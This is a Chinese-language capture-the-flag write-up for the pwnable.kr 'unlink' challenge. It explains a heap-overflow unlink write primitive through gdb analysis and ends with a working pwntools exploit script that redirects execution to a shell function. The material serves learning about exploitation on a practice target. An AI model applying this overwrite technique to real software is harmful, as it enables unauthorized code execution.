pwnable.kr unlink

源代码如下:

#include 
#include 
#include 
typedef struct tagOBJ{
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}OBJ;

void shell(){
    system("/bin/sh");
}

void unlink(OBJ* P){
    OBJ* BK;
    OBJ* FD;
    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;
}
int main(int argc, char* argv[]){
    malloc(1024);
    OBJ* A = (OBJ*)malloc(sizeof(OBJ));
    OBJ* B = (OBJ*)malloc(sizeof(OBJ));
    OBJ* C = (OBJ*)malloc(sizeof(OBJ));

    // double linked list: A <-> B <-> C
    A->fd = B;
    B->bk = A;
    B->fd = C;
    C->bk = B;

    printf("here is stack address leak: %p\n", &A);
    printf("here is heap address leak: %p\n", A);
    printf("now that you have leaks, get shell!\n");
    // heap overflow!
    gets(A->buf);

    // exploit this unlink!
    unlink(B);
    return 0;
}

我们来先调试一下程序,看看堆的结构到底是怎样的
用disass main查看main函数的汇编代码,
pwnable.kr unlink_第1张图片

下断点到 0x08048580,看栈和堆的结构 ,
pwnable.kr unlink_第2张图片
pwnable.kr unlink_第3张图片
可以看到栈中 ,ebp-0x14,ebp-0xc,ebp-0x10分别存着堆块A,C,B 的fd的地址。

然后经过下面的操作之后,A指向了B,B又指向了C,A->B->C, 如图所示:

        A->fd = B;
        B->bk = A;
        B->fd = C;
        C->bk = B;

pwnable.kr unlink_第4张图片
pwnable.kr unlink_第5张图片
然后泄露出栈的地址和堆的地址
pwnable.kr unlink_第6张图片
pwnable.kr unlink_第7张图片

然后就gets无限输入,造成了堆溢出
首先在gets(A->buf)后,执行了unlink操作,操作导致[B->bk]->fd被B->fd值覆写以及[B->fd]->bk被B->bk覆写。

该覆写过程发生于Unlink函数中,当输入A->buf溢出覆盖了B->fd和B->bk时,可导致一个DWORD SHOOT覆写。但会产生另外一个DWORD被覆盖的副作用。

main函数返回时找到可以利用的地方
pwnable.kr unlink_第8张图片

retn指令相当于pop eip,该指令是可以控制程序运行流程的,流程的来源是esp指向的地址。
而leave指令相当于mov esp ebp,pop ebp,对esp数据的来源无影响。

在该段代码中在ecx-0x4的地址被传送给esp,ebp-0x4的内容被赋值给了ecx,由此可知我们需要修改的是ebp-0x4的内容。
在将shell写入A中后,因为A的地址为ebp-0x14,需要修改的地址为ebp-0x4,则ebp-0x4相对于A的位置为&A+0x10。

由图知道,shell的地址为heap address+8,又因为是将ecx-4的指针赋值给esp,shell的地址还需要加4

+-------------------+-------------------+  <- [A]
|        FD         |        BK         |
+-------------------+-------------------+  <- [A->buf]
|     shell_addr    |       AAAA        |
+---------------------------------------+
|              AAAAAAAA                 |
+---------------------------------------+  <- [B]
|       fd1         |        bk2        |
+-------------------+-------------------+

所以 :

fd1 = heap_addr+12
bk2 = stack_addr+16

于是写出exp:

from pwn import *

shell_addr = 0x080484eb

s =  ssh(host='pwnable.kr',
         port=2222,
         user='unlink',
         password='guest'
        )
p = s.process("./unlink")
p.recvuntil("here is stack address leak: ")
stack_addr = p.recv(10)
stack_addr = int(stack_addr,16)
p.recvuntil("here is heap address leak: ")
heap_addr = p.recv(9)
heap_addr = int(heap_addr,16)

payload = p32(shell_addr)+'a'*12+p32(heap_addr + 12)+p32(stack_addr +16)
p.send(payload)
p.interactive()

我们再通过脚本捋一遍unlink的过程
发送payload之后,堆的结构如下 :
B->fd=p32(heap_addr + 12)
B->bk=p32(stack_addr +16)

+-------------------+-------------------+  <- [A]
|        A->fd      |        A->bk      |
+-------------------+-------------------+  <- [A->buf]
|     shell_addr    |       aaaa        |
+---------------------------------------+
|        aaaa       |       aaaa        |
+---------------------------------------+  <- [B]
|       B->fd       |        B->bk      |                      
+-------------------+-------------------+  <- [B->buf]
|                   |                   |
+---------------------------------------+
|                   |                   |
+---------------------------------------+  <- [C]
|       C->fd       |       C->bk       |
+-------------------+-------------------+  <- [C->buf]
|                   |                   |
+---------------------------------------+

然后经过unlink函数,导致[B->bk]->fd被B->fd值覆写以及[B->fd]->bk被B->bk覆写。
也就是说
(stack_addr+16)的地址处写入了(heap+12)的地址
(stack_addr+16)也就是 ebp-0x4,
即ebp-0x4 的地址处写入了(heap+12)的地址,
然后ebp-0x4的内容被赋值给了ecx
即ecx等于(heap+12)的地址
然后lea esp [ecx-4]
即esp等于 heap+8
而heap+8 的内容我们已经伪造成了shell_addr
最后ret,相当于 pop eip ;call eip
至此,成功 call shell_addr
unlink 成功

参考文章:
https://www.cnblogs.com/liuyimin/articles/7381018.html
https://www.cnblogs.com/p4nda/p/7172104.html
http://turingh.github.io/2015/12/12/图解dwordshoot/

你可能感兴趣的:(pwnable.kr,pwn)